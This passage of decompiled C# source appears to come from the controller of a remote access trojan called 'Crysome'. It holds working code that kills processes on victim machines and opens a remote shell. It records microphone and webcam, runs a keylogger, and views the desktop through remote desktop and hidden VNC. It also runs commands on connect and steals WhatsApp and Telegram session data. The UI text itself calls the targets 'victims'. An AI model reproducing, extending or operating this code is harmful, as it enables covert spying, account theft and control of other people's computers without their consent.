Array.Empty()); } private void HandleProcessListResponse(CrysomeClient sender, IPacket packet) { //IL_002a: Unknown result type (might be due to invalid IL or missing references) //IL_0034: Expected O, but got Unknown if (_processListCallbacks.TryGetValue(sender, out var cb)) { _processListCallbacks.Remove(sender); GetProcessListResponsePacket resp = (GetProcessListResponsePacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(resp); }, Array.Empty()); } } public void RequestProcessList(ClientInfo client, Action callback) { //IL_002a: Unknown result type (might be due to invalid IL or missing references) //IL_0034: Expected O, but got Unknown if (client?.Owner == null || callback == null) { return; } _processListCallbacks[client.Owner] = callback; try { client.Owner.SendPacket((IPacket)new GetProcessListRequestPacket()); } catch { _processListCallbacks.Remove(client.Owner); } } public void KillProcessOnClient(ClientInfo client, int pid) { //IL_0017: Unknown result type (might be due to invalid IL or missing references) //IL_0021: Expected O, but got Unknown if (client?.Owner == null) { return; } try { client.Owner.SendPacket((IPacket)new KillProcessRequestPacket(pid)); } catch { } } public void RequestAudio(ClientInfo client, int seconds, Action onReceived) { RequestAudio(client, seconds, 0, onReceived); } public void RequestAudio(ClientInfo client, int seconds, int deviceIndex, Action onReceived) { //IL_0079: Unknown result type (might be due to invalid IL or missing references) //IL_0083: Expected O, but got Unknown if (client?.Owner == null || onReceived == null) { return; } Log("RequestAudio SENT to " + client.Address + " sec=" + seconds + " idx=" + deviceIndex, "MIC"); _audioDataCallbacks[client.Owner] = onReceived; try { client.Owner.SendPacket((IPacket)new RequestAudioPacket(seconds, deviceIndex)); } catch (Exception ex) { Log("RequestAudio SEND FAIL: " + ex.Message, "MIC"); _audioDataCallbacks.Remove(client.Owner); } } public void RequestCameraFrame(ClientInfo client, int deviceIndex, Action onReceived) { //IL_0052: Unknown result type (might be due to invalid IL or missing references) //IL_005c: Expected O, but got Unknown if (client?.Owner == null || onReceived == null) { return; } Log("RequestCameraFrame SENT to " + client.Address + " idx=" + deviceIndex, "CAM"); _cameraFrameCallbacks[client.Owner] = onReceived; try { client.Owner.SendPacket((IPacket)new RequestCameraFramePacket(deviceIndex)); } catch (Exception ex) { Log("RequestCameraFrame SEND FAIL: " + ex.Message, "CAM"); _cameraFrameCallbacks.Remove(client.Owner); } } public void GetCameraDevices(ClientInfo client, Action onReceived) { //IL_0070: Unknown result type (might be due to invalid IL or missing references) //IL_0075: Unknown result type (might be due to invalid IL or missing references) //IL_0087: Expected O, but got Unknown //IL_00af: Unknown result type (might be due to invalid IL or missing references) //IL_00b9: Expected O, but got Unknown if (client?.Owner == null || onReceived == null) { return; } CrysomeClient owner = client.Owner; Log("GetCameraDevices SENT to " + client.Address, "CAM"); _cameraDevicesCallbacks[owner] = onReceived; DispatcherTimer timeout = new DispatcherTimer { Interval = TimeSpan.FromSeconds(8L) }; timeout.Tick += delegate { timeout.Stop(); if (_cameraDevicesCallbacks.TryGetValue(owner, out var cb)) { _cameraDevicesCallbacks.Remove(owner); Log("GetCameraDevices TIMEOUT (8s) " + client.Address, "CAM"); Application current = Application.Current; if (current != null) { Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher; if (dispatcher != null) { dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(new string[0]); }, Array.Empty()); } } } }; timeout.Start(); try { owner.SendPacket((IPacket)new GetCameraDevicesPacket()); } catch (Exception ex) { Log("GetCameraDevices SEND FAIL: " + ex.Message, "CAM"); _cameraDevicesCallbacks.Remove(owner); timeout.Stop(); } } public void GetAudioDevices(ClientInfo client, Action onReceived) { //IL_0070: Unknown result type (might be due to invalid IL or missing references) //IL_0075: Unknown result type (might be due to invalid IL or missing references) //IL_0087: Expected O, but got Unknown //IL_00af: Unknown result type (might be due to invalid IL or missing references) //IL_00b9: Expected O, but got Unknown if (client?.Owner == null || onReceived == null) { return; } CrysomeClient owner = client.Owner; Log("GetAudioDevices SENT to " + client.Address, "MIC"); _audioDevicesCallbacks[owner] = onReceived; DispatcherTimer timeout = new DispatcherTimer { Interval = TimeSpan.FromSeconds(8L) }; timeout.Tick += delegate { timeout.Stop(); if (_audioDevicesCallbacks.TryGetValue(owner, out var cb)) { _audioDevicesCallbacks.Remove(owner); Log("GetAudioDevices TIMEOUT (8s) " + client.Address, "MIC"); Application current = Application.Current; if (current != null) { Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher; if (dispatcher != null) { dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(new string[0]); }, Array.Empty()); } } } }; timeout.Start(); try { owner.SendPacket((IPacket)new GetAudioDevicesPacket()); } catch (Exception ex) { Log("GetAudioDevices SEND FAIL: " + ex.Message, "MIC"); _audioDevicesCallbacks.Remove(owner); timeout.Stop(); } } public void StartKeylogger(ClientInfo client, Action onLog) { //IL_002a: Unknown result type (might be due to invalid IL or missing references) //IL_0034: Expected O, but got Unknown if (client?.Owner == null || onLog == null) { return; } _keyloggerCallbacks[client.Owner] = onLog; try { client.Owner.SendPacket((IPacket)new StartKeyloggerPacket()); } catch { _keyloggerCallbacks.Remove(client.Owner); } } public void StopKeylogger(ClientInfo client) { //IL_0027: Unknown result type (might be due to invalid IL or missing references) //IL_0031: Expected O, but got Unknown if (client?.Owner == null) { return; } _keyloggerCallbacks.Remove(client.Owner); try { client.Owner.SendPacket((IPacket)new StopKeyloggerPacket()); } catch { } } public void RegisterChatHandler(ClientInfo client, Action onMessage) { if (client?.Owner != null && onMessage != null) { _chatHandlers[client.Owner] = onMessage; } } public void UnregisterChatHandler(ClientInfo client) { if (client?.Owner != null) { _chatHandlers.Remove(client.Owner); } } public void SendChatMessage(ClientInfo client, string message) { //IL_001f: Unknown result type (might be due to invalid IL or missing references) //IL_0029: Expected O, but got Unknown if (client?.Owner == null || string.IsNullOrEmpty(message)) { return; } try { client.Owner.SendPacket((IPacket)new ChatMessagePacket(message)); } catch { } } public void StartAudioStream(ClientInfo client, int deviceIndex, Action onChunk) { //IL_0052: Unknown result type (might be due to invalid IL or missing references) //IL_005c: Expected O, but got Unknown if (client?.Owner == null || onChunk == null) { return; } Log("StartAudioStream SENT to " + client.Address + " idx=" + deviceIndex, "MIC"); _audioStreamHandlers[client.Owner] = onChunk; try { client.Owner.SendPacket((IPacket)new StartAudioStreamPacket(deviceIndex)); } catch (Exception ex) { Log("StartAudioStream SEND FAIL: " + ex.Message, "MIC"); _audioStreamHandlers.Remove(client.Owner); } } public void StopAudioStream(ClientInfo client) { //IL_0027: Unknown result type (might be due to invalid IL or missing references) //IL_0031: Expected O, but got Unknown if (client?.Owner == null) { return; } _audioStreamHandlers.Remove(client.Owner); try { client.Owner.SendPacket((IPacket)new StopAudioStreamPacket()); } catch { } } public void StartRemoteDesktop(ClientInfo client, int intervalMs, int screenIndex, byte captureMode, Action onFrame, Action onQualityChange = null) { //IL_0074: Unknown result type (might be due to invalid IL or missing references) //IL_0079: Unknown result type (might be due to invalid IL or missing references) //IL_0080: Unknown result type (might be due to invalid IL or missing references) //IL_0087: Unknown result type (might be due to invalid IL or missing references) //IL_008e: Unknown result type (might be due to invalid IL or missing references) //IL_009a: Expected O, but got Unknown if (client?.Owner == null || onFrame == null) { return; } _desktopFrameHandlers[client.Owner] = onFrame; if (onQualityChange != null) { _rdpQualityCallbacks[client.Owner] = onQualityChange; } RdpQualityState state = new RdpQualityState { IntervalMs = intervalMs }; _rdpQualityStates[client.Owner] = state; StartRemoteDesktopPacket pkt = new StartRemoteDesktopPacket { IntervalMs = intervalMs, ScreenIndex = screenIndex, UdpPort = 0, SessionToken = 0u, CaptureMode = captureMode }; try { client.Owner.SendPacket((IPacket)(object)pkt); } catch { _desktopFrameHandlers.Remove(client.Owner); _rdpQualityCallbacks.Remove(client.Owner); _rdpQualityStates.Remove(client.Owner); return; } CrysomeClient owner = client.Owner; Task.Run(delegate { for (int i = 1; i <= 3; i++) { Thread.Sleep(5000); if (!_desktopFrameHandlers.ContainsKey(owner) || state.LastFrameTime != DateTime.MinValue) { break; } try { owner.SendPacket((IPacket)(object)pkt); } catch { break; } } }); } public void GetScreens(ClientInfo client, Action onReceived) { //IL_003e: Unknown result type (might be due to invalid IL or missing references) //IL_0043: Unknown result type (might be due to invalid IL or missing references) //IL_0055: Expected O, but got Unknown //IL_007d: Unknown result type (might be due to invalid IL or missing references) //IL_0087: Expected O, but got Unknown if (client?.Owner == null || onReceived == null) { return; } CrysomeClient owner = client.Owner; _screensCallbacks[owner] = onReceived; DispatcherTimer timeout = new DispatcherTimer { Interval = TimeSpan.FromSeconds(8L) }; timeout.Tick += delegate { timeout.Stop(); if (_screensCallbacks.TryGetValue(owner, out var cb)) { _screensCallbacks.Remove(owner); Application current = Application.Current; if (current != null) { Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher; if (dispatcher != null) { dispatcher.BeginInvoke((Delegate)(Action)delegate { //IL_0006: Unknown result type (might be due to invalid IL or missing references) //IL_0010: Expected O, but got Unknown cb(new ScreensResponsePacket()); }, Array.Empty()); } } } }; timeout.Start(); try { owner.SendPacket((IPacket)new GetScreensRequestPacket()); } catch { _screensCallbacks.Remove(owner); timeout.Stop(); } } public void StopRemoteDesktop(ClientInfo client) { //IL_0063: Unknown result type (might be due to invalid IL or missing references) //IL_006d: Expected O, but got Unknown if (client?.Owner == null) { return; } _desktopFrameHandlers.Remove(client.Owner); _rdpQualityCallbacks.Remove(client.Owner); _rdpQualityStates.Remove(client.Owner); server?.UnregisterUdpSession(client.Owner); try { client.Owner.SendPacket((IPacket)new StopRemoteDesktopPacket()); } catch { } } public List GetClientSnapshot() { return server?.GetClientSnapshot() ?? new List(); } public void UnregisterDesktopFrames(ClientInfo client) { if (client?.Owner != null) { _desktopFrameHandlers.Remove(client.Owner); _rdpQualityCallbacks.Remove(client.Owner); _rdpQualityStates.Remove(client.Owner); } } public void SendRemoteInput(ClientInfo client, byte kind, int x, int y, int buttonOrKey) { //IL_000f: Unknown result type (might be due to invalid IL or missing references) //IL_0014: Unknown result type (might be due to invalid IL or missing references) //IL_001b: Unknown result type (might be due to invalid IL or missing references) //IL_0022: Unknown result type (might be due to invalid IL or missing references) //IL_002a: Unknown result type (might be due to invalid IL or missing references) //IL_0033: Expected O, but got Unknown if (client?.Owner == null) { return; } RemoteInputPacket val = new RemoteInputPacket { Kind = kind, X = x, Y = y, ButtonOrKey = buttonOrKey }; try { if (kind == 0) { client.Owner.SendPacketUnreliable((IPacket)(object)val); } else { client.Owner.SendPacket((IPacket)(object)val); } } catch { } } public void StartHvnc(ClientInfo client, int quality, int intervalMs, Action onFrame) { //IL_002c: Unknown result type (might be due to invalid IL or missing references) //IL_0031: Unknown result type (might be due to invalid IL or missing references) //IL_0038: Unknown result type (might be due to invalid IL or missing references) //IL_0044: Expected O, but got Unknown if (client?.Owner == null || onFrame == null) { return; } _hvncFrameHandlers[client.Owner] = onFrame; try { client.Owner.SendPacket((IPacket)new StartHvncPacket { Quality = quality, IntervalMs = intervalMs }); } catch { _hvncFrameHandlers.Remove(client.Owner); } } public void StopHvnc(ClientInfo client) { //IL_0027: Unknown result type (might be due to invalid IL or missing references) //IL_0031: Expected O, but got Unknown if (client?.Owner == null) { return; } _hvncFrameHandlers.Remove(client.Owner); try { client.Owner.SendPacket((IPacket)new StopHvncPacket()); } catch { } } public void UnregisterHvncFrames(ClientInfo client) { if (client?.Owner != null) { _hvncFrameHandlers.Remove(client.Owner); } } public void SendHvncInput(ClientInfo client, int msg, int wParam, int lParam) { //IL_000f: Unknown result type (might be due to invalid IL or missing references) //IL_0014: Unknown result type (might be due to invalid IL or missing references) //IL_001b: Unknown result type (might be due to invalid IL or missing references) //IL_0022: Unknown result type (might be due to invalid IL or missing references) //IL_002b: Expected O, but got Unknown if (client?.Owner == null) { return; } HvncInputPacket val = new HvncInputPacket { Msg = msg, WParam = wParam, LParam = lParam }; try { if (msg == 512) { client.Owner.SendPacketUnreliable((IPacket)(object)val); } else { client.Owner.SendPacket((IPacket)(object)val); } } catch { } } public void SendHvncRunRequest(ClientInfo client, byte action, string path = null) { //IL_0016: Unknown result type (might be due to invalid IL or missing references) //IL_001b: Unknown result type (might be due to invalid IL or missing references) //IL_0022: Unknown result type (might be due to invalid IL or missing references) //IL_0037: Expected O, but got Unknown if (client?.Owner == null) { return; } try { client.Owner.SendPacket((IPacket)new HvncRunRequestPacket { Action = action, Path = (path ?? "") }); } catch { } } private void HandleHvncFrame(CrysomeClient sender, IPacket packet) { //IL_001d: Unknown result type (might be due to invalid IL or missing references) //IL_0027: Expected O, but got Unknown if (_hvncFrameHandlers.TryGetValue(sender, out var cb)) { HvncFramePacket p = (HvncFramePacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(p.ImageData ?? new byte[0]); }, Array.Empty()); } } private void HandleAudioData(CrysomeClient sender, IPacket packet) { //IL_0094: Unknown result type (might be due to invalid IL or missing references) //IL_009e: Expected O, but got Unknown string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?"; Log("AudioData RECV from " + text, "MIC"); if (!_audioDataCallbacks.TryGetValue(sender, out var cb)) { Log("AudioData no callback for " + text, "MIC"); return; } _audioDataCallbacks.Remove(sender); AudioDataPacket p = (AudioDataPacket)packet; byte[] wavData = p.WavData; Log("AudioData " + ((wavData != null) ? wavData.Length : 0) + " bytes from " + text, "MIC"); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(p.WavData ?? new byte[0]); }, Array.Empty()); } private void HandleCameraFrame(CrysomeClient sender, IPacket packet) { //IL_0094: Unknown result type (might be due to invalid IL or missing references) //IL_009e: Expected O, but got Unknown string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?"; Log("CameraFrame RECV from " + text, "CAM"); if (!_cameraFrameCallbacks.TryGetValue(sender, out var cb)) { Log("CameraFrame no callback for " + text, "CAM"); return; } _cameraFrameCallbacks.Remove(sender); CameraFramePacket p = (CameraFramePacket)packet; byte[] jpegData = p.JpegData; Log("CameraFrame " + ((jpegData != null) ? jpegData.Length : 0) + " bytes from " + text, "CAM"); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(p.JpegData ?? new byte[0]); }, Array.Empty()); } private void HandleKeylogData(CrysomeClient sender, IPacket packet) { //IL_0082: Unknown result type (might be due to invalid IL or missing references) //IL_008c: Expected O, but got Unknown ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); if (info != null && !info.KeyloggerActive) { Application current = Application.Current; if (current != null) { ((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { info.KeyloggerActive = true; }, Array.Empty()); } } if (_keyloggerCallbacks.TryGetValue(sender, out var cb)) { KeylogDataPacket p = (KeylogDataPacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(p.Data ?? ""); }, Array.Empty()); } } public void RegisterOfflineKeylogCallback(CrysomeClient client, Action cb) { _offlineKeylogCallbacks[client] = cb; } public void UnregisterOfflineKeylogCallback(CrysomeClient client) { _offlineKeylogCallbacks.TryRemove(client, out var _); } private void HandleOfflineKeylogData(CrysomeClient sender, IPacket packet) { //IL_000f: Unknown result type (might be due to invalid IL or missing references) //IL_0019: Expected O, but got Unknown OfflineKeylogDataPacket p = (OfflineKeylogDataPacket)packet; ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); if (_offlineKeylogCallbacks.TryGetValue(sender, out var cb)) { ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(p.Data ?? "", arg2: true); }, Array.Empty()); } else { if (info == null) { return; } Application current = Application.Current; if (current != null) { ((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { info.AppendOfflineKeylog(p.Data ?? ""); }, Array.Empty()); } } } private void HandleChatMessage(CrysomeClient sender, IPacket packet) { //IL_0029: Unknown result type (might be due to invalid IL or missing references) //IL_0033: Expected O, but got Unknown if (_chatHandlers.TryGetValue(sender, out var cb)) { ChatMessagePacket p = (ChatMessagePacket)packet; ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); string from = ((clientInfo != null) ? clientInfo.Address : "?"); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(from, p.Message ?? ""); }, Array.Empty()); } } private void HandleCameraDevicesResponse(CrysomeClient sender, IPacket packet) { //IL_0093: Unknown result type (might be due to invalid IL or missing references) //IL_0099: Expected O, but got Unknown string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?"; Log("CameraDevicesResponse RECV from " + text, "CAM"); if (!_cameraDevicesCallbacks.TryGetValue(sender, out var cb)) { Log("CameraDevicesResponse no callback for " + text, "CAM"); return; } _cameraDevicesCallbacks.Remove(sender); CameraDevicesResponsePacket val = (CameraDevicesResponsePacket)packet; string[] names = val.DeviceNames ?? new string[0]; Log("CameraDevicesResponse " + names.Length + " devices from " + text, "CAM"); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(names); }, Array.Empty()); } private void HandleAudioDevicesResponse(CrysomeClient sender, IPacket packet) { //IL_0093: Unknown result type (might be due to invalid IL or missing references) //IL_0099: Expected O, but got Unknown string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?"; Log("AudioDevicesResponse RECV from " + text, "MIC"); if (!_audioDevicesCallbacks.TryGetValue(sender, out var cb)) { Log("AudioDevicesResponse no callback for " + text, "MIC"); return; } _audioDevicesCallbacks.Remove(sender); AudioDevicesResponsePacket val = (AudioDevicesResponsePacket)packet; string[] names = val.DeviceNames ?? new string[0]; Log("AudioDevicesResponse " + names.Length + " devices from " + text, "MIC"); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(names); }, Array.Empty()); } private void HandleAudioStreamChunk(CrysomeClient sender, IPacket packet) { //IL_001d: Unknown result type (might be due to invalid IL or missing references) //IL_0027: Expected O, but got Unknown if (_audioStreamHandlers.TryGetValue(sender, out var cb)) { AudioStreamChunkPacket p = (AudioStreamChunkPacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(p.Chunk ?? new byte[0]); }, Array.Empty()); } } private void HandleDesktopFrame(CrysomeClient sender, IPacket packet) { //IL_001d: Unknown result type (might be due to invalid IL or missing references) //IL_0027: Expected O, but got Unknown if (!_desktopFrameHandlers.TryGetValue(sender, out var cb)) { return; } DesktopFramePacket p = (DesktopFramePacket)packet; if (_rdpQualityStates.TryGetValue(sender, out var value)) { DateTime utcNow = DateTime.UtcNow; if (value.LastFrameTime != DateTime.MinValue) { double totalMilliseconds = (utcNow - value.LastFrameTime).TotalMilliseconds; double num = (double)value.IntervalMs * 4.0; if (totalMilliseconds > num) { value.BadStreak++; value.GoodStreak = 0; if (value.BadStreak >= 5) { RdpStepDown(sender, value); value.BadStreak = 0; } } else { value.GoodStreak++; value.BadStreak = 0; if (value.GoodStreak >= 8) { RdpStepUp(sender, value); value.GoodStreak = 0; } } } value.LastFrameTime = utcNow; } ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(p.ImageData ?? new byte[0]); }, Array.Empty()); } private void Server_UdpFrameReceived(object s, UdpFrameEventArgs e) { //IL_0017: Unknown result type (might be due to invalid IL or missing references) //IL_0021: Expected O, but got Unknown //IL_0039: Unknown result type (might be due to invalid IL or missing references) //IL_0043: Expected O, but got Unknown if (e.PacketTypeId == 36) { HandleDesktopFrame(e.Client, (IPacket)new DesktopFramePacket(e.Data)); } else if (e.PacketTypeId == 46) { HandleHvncFrame(e.Client, (IPacket)new HvncFramePacket(e.Data)); } } private void RdpStepDown(CrysomeClient client, RdpQualityState state) { if (state.Level > 0) { state.Level--; state.CurrentQuality = _rdpLevels[state.Level].Quality; state.IntervalMs = _rdpLevels[state.Level].IntervalMs; SendRdpLevel(client, state.CurrentQuality, state.IntervalMs); } } private void RdpStepUp(CrysomeClient client, RdpQualityState state) { if (state.Level < _rdpLevels.Length - 1) { state.Level++; state.CurrentQuality = _rdpLevels[state.Level].Quality; state.IntervalMs = _rdpLevels[state.Level].IntervalMs; SendRdpLevel(client, state.CurrentQuality, state.IntervalMs); } } private void SendRdpLevel(CrysomeClient client, int quality, int intervalMs) { //IL_0015: Unknown result type (might be due to invalid IL or missing references) //IL_001f: Expected O, but got Unknown try { client.SendPacket((IPacket)new RdpSetQualityPacket(quality, intervalMs)); } catch { } if (!_rdpQualityCallbacks.TryGetValue(client, out var cb)) { return; } Application current = Application.Current; if (current == null) { return; } Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher; if (dispatcher != null) { dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(quality); }, Array.Empty()); } } private void HandleScreensResponse(CrysomeClient sender, IPacket packet) { //IL_002a: Unknown result type (might be due to invalid IL or missing references) //IL_0034: Expected O, but got Unknown if (_screensCallbacks.TryGetValue(sender, out var cb)) { _screensCallbacks.Remove(sender); ScreensResponsePacket p = (ScreensResponsePacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { cb(p); }, Array.Empty()); } } private ClientInfo GetSingleClient() { if (_selectedClients.Count == 1) { return _selectedClients[0]; } if (SelectedClient != null) { return SelectedClient; } return null; } private void DoProcessManager() { ClientInfo singleClient = GetSingleClient(); if (singleClient?.Owner == null) { EnqueueStatus("Select one client"); return; } ProcessManagerWindow processManagerWindow = new ProcessManagerWindow(singleClient, this); ((Window)(object)processManagerWindow).Owner = Application.Current.MainWindow; ((Window)(object)processManagerWindow).Show(); } private void DoRemoteShell() { ClientInfo singleClient = GetSingleClient(); if (singleClient?.Owner == null) { EnqueueStatus("Select one client"); return; } RemoteShellWindow remoteShellWindow = new RemoteShellWindow(singleClient, this); ((Window)(object)remoteShellWindow).Owner = Application.Current.MainWindow; ((Window)(object)remoteShellWindow).Show(); } private void DoRemoteAudio() { ClientInfo singleClient = GetSingleClient(); if (singleClient?.Owner == null) { EnqueueStatus("Select one client"); return; } Log("RemoteAudioWindow OPEN for " + singleClient.Address, "MIC"); RemoteAudioWindow remoteAudioWindow = new RemoteAudioWindow(singleClient, this); ((Window)(object)remoteAudioWindow).Owner = Application.Current.MainWindow; ((Window)(object)remoteAudioWindow).Show(); } private void DoRemoteCamera() { ClientInfo singleClient = GetSingleClient(); if (singleClient?.Owner == null) { EnqueueStatus("Select one client"); return; } Log("RemoteCameraWindow OPEN for " + singleClient.Address, "CAM"); RemoteCameraWindow remoteCameraWindow = new RemoteCameraWindow(singleClient, this); ((Window)(object)remoteCameraWindow).Owner = Application.Current.MainWindow; ((Window)(object)remoteCameraWindow).Show(); } private void DoRemoteDesktop() { ClientInfo singleClient = GetSingleClient(); if (singleClient?.Owner == null) { EnqueueStatus("Select one client"); return; } RemoteDesktopWindow obj = new RemoteDesktopWindow(singleClient, this) { Owner = Application.Current.MainWindow }; ActiveRdpCount++; ((Window)(object)obj).Closed += delegate { if (ActiveRdpCount > 0) { ActiveRdpCount--; } }; ((Window)(object)obj).Show(); } private void DoHvnc() { ClientInfo singleClient = GetSingleClient(); if (singleClient?.Owner == null) { EnqueueStatus("Select one client"); return; } HvncWindow obj = new HvncWindow(singleClient, this) { Owner = Application.Current.MainWindow }; ActiveHvncCount++; ((Window)(object)obj).Closed += delegate { if (ActiveHvncCount > 0) { ActiveHvncCount--; } }; ((Window)(object)obj).Show(); } private void DoKeylogger() { ClientInfo singleClient = GetSingleClient(); if (singleClient?.Owner == null) { EnqueueStatus("Select one client"); return; } KeyloggerWindow keyloggerWindow = new KeyloggerWindow(singleClient, this); ((Window)(object)keyloggerWindow).Owner = Application.Current.MainWindow; ((Window)(object)keyloggerWindow).Show(); } private void DoRemoteChat() { ClientInfo singleClient = GetSingleClient(); if (singleClient?.Owner == null) { EnqueueStatus("Select one client"); return; } RemoteChatWindow remoteChatWindow = new RemoteChatWindow(singleClient, this); ((Window)(object)remoteChatWindow).Owner = Application.Current.MainWindow; ((Window)(object)remoteChatWindow).Show(); } private void DoOpenFileManager() { if (_selectedClients.Count != 1) { MessageBox.Show("File Manager requires exactly one client to be selected.\n\nPlease select a single victim and try again.", "One client required", MessageBoxButton.OK, MessageBoxImage.Asterisk); } else { _mainViewModel.GoToFileExplorer(server, _selectedClients[0]); } } private void RunOnConnectTasks(CrysomeClient client) { //IL_005c: Unknown result type (might be due to invalid IL or missing references) //IL_0066: Expected O, but got Unknown //IL_00a0: Unknown result type (might be due to invalid IL or missing references) //IL_00aa: Expected O, but got Unknown foreach (AutoTask autoTask in store.AutoTasks) { if (autoTask.Time != "Always" || autoTask.Date != "Always") { continue; } try { if (autoTask.Kind == "OnConnect") { client.SendPacket((IPacket)new RunCommandRequestPacket(autoTask.Param)); } else if (autoTask.Kind == "OnConnectFile" && File.Exists(autoTask.Param)) { byte[] array = File.ReadAllBytes(autoTask.Param); client.SendPacket((IPacket)new FileTransferRequestPacket(Path.GetFileName(autoTask.Param), array)); } } catch { } } } private void LogEntries_Filter(object sender, FilterEventArgs e) { if (!(e.Item is LogLineEntry logLineEntry)) { e.Accepted = false; return; } if (_logCategoryHide.Count == 0) { e.Accepted = true; return; } string text = logLineEntry.Category ?? ""; e.Accepted = string.IsNullOrEmpty(text) || !_logCategoryHide.Contains(text); } private void DoWhatsAppSession() { //IL_0053: Unknown result type (might be due to invalid IL or missing references) //IL_005d: Expected O, but got Unknown ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); if (clientInfo?.Owner == null) { EnqueueStatus("Select a client"); return; } string address = clientInfo.Address; Log("Requesting WhatsApp session from " + address, "WHATSAPP"); try { clientInfo.Owner.SendPacket((IPacket)new WhatsAppSessionRequestPacket()); } catch (Exception ex) { Log("WhatsApp request failed " + address + ": " + ex.Message, "SYS"); } } private void HandleWhatsAppSessionResponse(CrysomeClient sender, IPacket packet) { //IL_0016: Unknown result type (might be due to invalid IL or missing references) //IL_0020: Expected O, but got Unknown WhatsAppSessionResponsePacket p = (WhatsAppSessionResponsePacket)packet; string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X"); ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate { if (!p.Success || p.ZipData == null || p.ZipData.Length == 0) { string text = (string.IsNullOrEmpty(p.ErrorMessage) ? "No session data." : p.ErrorMessage); Log("WhatsApp session from " + addr + ": " + text, "WHATSAPP"); MessageBox.Show("WhatsApp session error:\n" + text, "WhatsApp Session", MessageBoxButton.OK, MessageBoxImage.Exclamation); } else { Log($"WhatsApp session from {addr}: {p.ZipData.Length:N0} bytes received", "WHATSAPP"); string value = string.Concat((addr ?? "client").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c))); SaveFileDialog saveFileDialog = new SaveFileDialog { Title = "Save WhatsApp Session", Filter = "ZIP Archive|*.zip", FileName = $"WhatsApp_{value}_{DateTime.Now:yyyyMMdd_HHmmss}.zip" }; if (saveFileDialog.ShowDialog() == true) { try { File.WriteAllBytes(saveFileDialog.FileName, p.ZipData); Log("WhatsApp session saved: " + saveFileDialog.FileName, "WHATSAPP"); new WhatsAppSessionWindow(saveFileDialog.FileName, addr, p.ZipData.Length).Show(); } catch (Exception ex) { MessageBox.Show("Failed to save: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand); } } } }); } private void DoTelegramSession() { //IL_0052: Unknown result type (might be due to invalid IL or missing references) //IL_005c: Expected O, but got Unknown List list = SelectedClients.ToList(); if (!list.Any()) { MessageBox.Show("No client selected.", "Telegram Session"); return; } foreach (ClientInfo item in list) { string text = item?.Address ?? "?"; try { item.Owner.SendPacket((IPacket)new TelegramSessionRequestPacket()); Log("Telegram session requested from " + text, "TELEGRAM"); } catch (Exception ex) { Log("Telegram request failed " + text + ": " + ex.Message, "SYS"); } } } private void HandleTelegramSessionResponse(CrysomeClient sender, IPacket packet) { //IL_0016: Unknown result type (might be due to invalid IL or missing references) //IL_0020: Expected O, but got Unknown TelegramSessionResponsePacket p = (TelegramSessionResponsePacket)packet; string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X"); string userName = (string.IsNullOrWhiteSpace(p.UserName) ? addr : p.UserName); ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate { if (!string.IsNullOrEmpty(p.Error)) { Log("Telegram session from " + addr + ": " + p.Error, "TELEGRAM"); MessageBox.Show("Telegram session error:\n" + p.Error, "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation); } else { if (p.ZipBytes != null && p.ZipBytes.Length != 0) { Log($"Telegram session from {addr} ({userName}): {p.ZipBytes.Length:N0} bytes received", "TELEGRAM"); try { string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "telegram"); Directory.CreateDirectory(text); string text2 = string.Concat(userName.Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c))); if (string.IsNullOrWhiteSpace(text2)) { text2 = addr.Replace(".", "_").Replace(":", "_"); } string path = text2 + "_tdata.zip"; string text3 = Path.Combine(text, path); File.WriteAllBytes(text3, p.ZipBytes); Log("Telegram session saved: " + text3, "TELEGRAM"); MessageBox.Show($"Telegram tdata saved!\n\nFile: {text3}\nSize: {p.ZipBytes.Length:N0} bytes", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Asterisk); return; } catch (Exception ex) { Log("Telegram session save error: " + ex.Message, "SYS"); MessageBox.Show("Failed to save tdata: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand); return; 